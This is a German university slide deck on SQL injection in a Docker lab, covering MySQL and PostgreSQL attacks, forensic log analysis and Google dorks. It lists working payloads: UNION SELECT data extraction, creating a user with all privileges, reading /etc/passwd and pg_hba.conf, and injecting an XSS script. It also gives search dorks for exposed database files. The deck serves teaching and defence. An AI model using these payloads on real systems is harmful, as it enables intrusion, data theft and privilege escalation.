40
Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

  • Upload
    others

  • View
    3

  • Download
    0

Embed Size (px)

Citation preview

Page 1: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Datenbanken II: SQL-Injektion

von: Laura Templin Christian Knoop Sebastian Löbe

Page 2: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Themenschwerpunkte

- Häuser-Umgebung und Anpassungen (CK)

- Kemper Beispiele MySQL (LT)

- Forensische Auswertung innerhalb Häuser-Umgebung (CK)

- MySQL Best Of + Auswertung (SL)

- PostgreSQL Best Of + Auswertung (CK)

- Google Hacking (LT)

- Fazit (SL)

Page 3: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Häuser-Umgebung und Anpassungen

CK

Page 4: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Häuser-Umgebung und Anpassungen

- Häuser Umgebung - app.py:80- Adminer:8080- MySQL- PostgreSQL

CK

Page 5: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Häuser-Umgebung und AnpassungenCK

- Hense-VM vs.

→ eine VM→ gemeinsames Dateisystem → Webserver, Anwendung, DB

→ (+) leichter SQL-Injektion auszunutzen

→ (-) “einfaches” System

- Häuser-Umgebung

→ verschiedene Container→ kein gemeinsames Dateisystem → Anwendung, DB

→ (-) schwieriger alle SQL-Injektion auszunutzen

→ (+) architektonisch viel näher an realen Systemen

Page 6: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Häuser-Umgebung und AnpassungenCK

- Anpassungen:

→ Aktuelle Zeit ausgeben

→ Datenbankconnection PostgreSQL(isolation_level) → Schreiben in DB

→ HTML Escape im Rendering deaktivieren

→ Docker Compose Entrypoint PostgreSQLum Logging erweitern

Page 7: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL

LT

Page 8: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Version auslesen

- z. T keine Unterstützung von stacked Queries unter MySQL -> UNION SELECT-Statement -> dafür Spaltenanzahl mittels ORDER BY oder über Fehlermeldungen

- finales Statement: sdsgdh' union select 1, 2, 3, @@version; --

LT

Page 9: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Ausspähen von Daten

- zum Ausspähen von Daten Systemkatalog infomation_schema unter MySQL nützlich

- wfehwfe’ UNION SELECT schema_name, 1, 2, 3 FROM information_schema.schemata

LT

Page 10: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Ausspähen von Daten

- sjhfkjshd' UNION SELECT TABLE_CATALOG, TABLE_NAME, TABLE_TYPE, TABLE_SCHEMA FROM information_schema.tables WHERE TABLE_SCHEMA = "kemper"; --

LT

Page 11: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Ausspähen von Daten

- sjhfkjshd' UNION SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE, COLUMN_TYPE FROM information_schema.columns WHERE TABLE_SCHEMA = "kemper" AND TABLE_NAME = "Assistenten"; --

LT

Page 12: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Ausspähen von Daten

- sjhfkjshd' UNION SELECT Name, MatrNr, Semester, 4 FROM kemper.Studenten; --

LT

Page 13: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern von Daten

- '; CREATE DATABASE buch;--- '; CREATE TABLE `buch`.`cover`(`bild` VARCHAR(10)) ENGINE = MYISAM;

--- '; INSERT INTO `buch`.`cover` (`bild`)VALUES ('Hund'); --- für diese Datenbank und Tabelle nun UPDATE, DELETE, DROP möglich

LT

Page 14: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern des DB-Servers

- Nutzer erstellen- umfassende Rechte notwendig- Mit welchem Nutzer aktuell angemeldet? -> ' UNION SELECT 1, 2, 3,

CURRENT_USER(); --- welche Privilegien? -> gffgfdfkld' UNION SELECT GRANTEE,

PRIVILEGE_TYPE, IS_GRANTABLE, TABLE_CATALOG FROM information_schema. user_privileges; --

LT

Page 15: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern des DB-Servers

- '; CREATE USER 'new_user'@'%' IDENTIFIED BY 'test'; GRANT ALL PRIVILEGES ON *.* TO 'new_user'@'%'; FLUSH PRIVILEGES; --

LT

Page 16: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern des DB-Servers

Zugriff auf das Dateisystem:

- ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd'); -> NULL

- -> Anpassungen nötig

LT

Page 17: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern des DB-Servers

- Systemvariable secure_file_priv darf nicht über Schlüsselwort NULL realisiert sein

- -> Anpassung der docker-compose.yaml

-

- -> Anpassungen nötig

LT

Page 18: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Verändern des DB-Servers

- - ' UNION SELECT 1, 2, 3, LOAD_FILE('/etc/passwd');-- erneut abgesetzt

LT

Page 19: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Code einschleusen

-- Durch Änderung der yaml-Datei auch Schreibzugriff realisierbar:

- über LOAD_FILE lesender Zugriff

LT

Page 20: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Code einschleusen

- Anwendung u. a. Mithilfe des flask-Moduls render_template()- Autoescaping standardmäßig aktiv- {% autoescape false %} Abhilfe

LT

Page 21: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Kemper-Beispiele MySQL >> Code einschleusen

- ‘; INSERT INTO Vorlesungen VALUES (1, ‘<script>alert("CSS!")</script>’, 3, 4); --

LT

Page 22: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Forensische Auswertung innerhalb der Häuser-Umgebung

CK

Page 23: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Forensische Auswertung innerhalb der Häuser-Umgebung

- System in Gänze betrachten, nicht nur das DBMS

- Angriff über Accesslog forensisch auswertbar, da alle Aufrufe über GET-Parameter erfolgten

- Wichtige Infos aus dem Accesslog:- IP-Adresse des Angreifers, Zeitstempel des Angriffs, GET-Request

inkl. SQL-Anweisung und die Schwachstelle (Ziel des Angriffs)

CK

Page 24: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Forensische Auswertung innerhalb der Häuser-Umgebung

- zeitliche Zuordnung des Angriffs & Einstiegsstelle wichtig zur Aufklärung

- Welche Informationen sind abgeflossen? - Kann der Angriff nachgestellt werden? - Wie ist der Angreifer ins System gelangt?

→ Nachstellung des Angriffs über die HTTP-Protokolle möglich→ Erkenntnis: Python App hat den Debug Modus aktiv→ Hilfreiche Informationen für den Angreifer

CK

Page 25: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

MySQL Best Of + Auswertung

SL

Page 26: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

MySQL Best Of + Auswertung

- Mein Schema ist eine Datenbank für die Einsatzplanung in der Bundeswehr

- Befehl / Fahrzeug / Kaserne / Offizier / Soldaten / Trupp / Übung- Anzeige der verschiedenen Übungen mit allen Bestandteilen auf der

Webseite- Ausgabe des Offiziersnamen anstatt seiner PersNr- Datenschutz

SL

Page 27: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

MySQL Best Of + Auswertung

- SQL Befehl UNION SELECT kombiniert das Ergebnis von mehreren SELECT Aussagen in ein einziges Ergebnis Set

- Nutzung zur Abfrage von Daten in der Datenbank- Beachtung der Anzahl der Columns bei Ausgabe in Webseite

- INTO DUMPFILE ‘file’ als Zusatz zur Daten Einschleusung- MYSQL Befehl welcher im Handbuch hinterlegt ist- Besonderheit: Befehl muss in der letzten Column stehen

SL

Page 28: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

MySQL Best Of + Auswertung

- Überraschung durch Abhängigkeiten zwischen Webseiten Ausgabe und SQL Befehl( Columns )

- Settings der Webseite / Anpassung- Installation der Umgebung - Betrieb der Docker VW

SL

Page 29: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

MySQL Best Of + Auswertung

Auswertung der Angriffe durch:

- Log Files auf Server Umgebung- in MYSQL speziell Query Log (SQL-Befehle) und das Error Log- Anzeige in laufendem Docker Container - Tabellen der Datenbank wie z.B. Status, User, Events- Wireshark

SL

Page 30: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

CK

Page 31: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- PostgreSQL war “leichter” als MySQL auszunutzen - PostgreSQL unterstützt stacked queries

CK

PostgreSQL

SELECT a, b FROM t WHERE a = ‘a’;SELECT hacki FROM hack; -- ‘

→ Happy Hacking! → Keine Einschränkungen

MySQL: vs.

SELECT a, b FROM t WHERE a = ‘a’ UNION SELECT c, d from hack; --’

→ Einschränkungen durch UNION SELECT

Page 32: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- alles ist aber in PostgreSQL nicht einfacher / besser

→ SQLAlchemy + PostgreSQL Limitierung:

- In einer Transaktion kann keine Datenbank erstellt werden 1

- Schreibender Zugriff war erst nach Anpassung der Anwendung möglich (isolation_level=”AUTOCOMMIT”) möglich

1) https://github.com/kvesteri/sqlalchemy-utils/issues/432

CK

Page 33: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- Beispiel: Datei auslesen

→ PostgreSQL benötigt “Helper-Table” für das Auslesen von Dateien

→ Workaround im eigenen Schemata “Dokumentenmanagement”→ CREATE TABLE Documents (DocumentId SERIAL PRIMARY KEY, Content TEXT NOT NULL);

'; COPY documents(content) from '/var/lib/postgresql/data/pg_hba.conf'; --

→ Datei zeilenweise eingelesen!

CK

Page 34: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- Forensische Auswertung von PostgreSQL in Docker

→ Container kann mit “log_statement=all” gestartet werden → Alle Angriffe sind nachvollziehbar

CK

→ ABER: “log_statement=all” in realen Umgebungen selten aktiv (Performance)

Page 35: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- Forensische Auswertung von PostgreSQL in Docker

→ “log_statement=ddl” (Data Definition Language) aktiv→ Ermöglicht die Erkennung von Datenbankserver Veränderungen

→ Auswertung von Log-Files im PostgreSQL Container nicht zielführend→ PostgreSQL Container folgt den Docker Best Practice→ Alle relevanten Ereignisse werden über STDOUT oder STDERR

an den Daemon (docker-compose) weitergeleitet

CK

Page 36: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

PostgreSQL Best Of + Auswertung

- Forensische Auswertung von PostgreSQL in Docker

→ PostgreSQL interne Tabellen zur Auswertung bei aktiven Angriffen / Sessions:

SELECT pid, age(clock_timestamp(), query_start), usename, query FROM pg_stat_activity WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%';

CK

Page 37: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Google Hacking

LT

Page 38: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Google Hacking

- Angriffe über die Google- Suchoperatoren und Suchbegriffe (Google Dorks)- Sicherheitslücken auffindbar, z. B. Zugangsdaten, direkten Zugriff auf

Datenbanksysteme- Operatoren über Formular oder Suchleiste

Beispiele:

- intitle:"index of" „/etc/mysql/"- intext:backup.sql intitle:index.of

LT

Page 39: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Fazit

- SQL-Injektion weit verbreitete & effektive Form von Cyberangriffen- OWASP Top 10 #1 seit 10 Jahren- Effektivität von SQL-Injektion je nach Architektur unterschiedlich- SQL-Injektion sehr wandlungsfähig (Hense-BT / Häuser-Umgebung)

→ Relevant auch noch heute!

SL

Page 40: SQL-Injektion Datenbanken II · 2021. 2. 22. · Datenbanken II: SQL-Injektion von: Laura Templin Christian Knoop Sebastian Löbe

Wir bedanken uns für die Aufmerksamkeit!

von: Laura Templin

Christian Knoop

Sebastian Löbe

Quellen:

- Hausarbeit von Laura Templin, Christian Knoop und Sebastian Löbe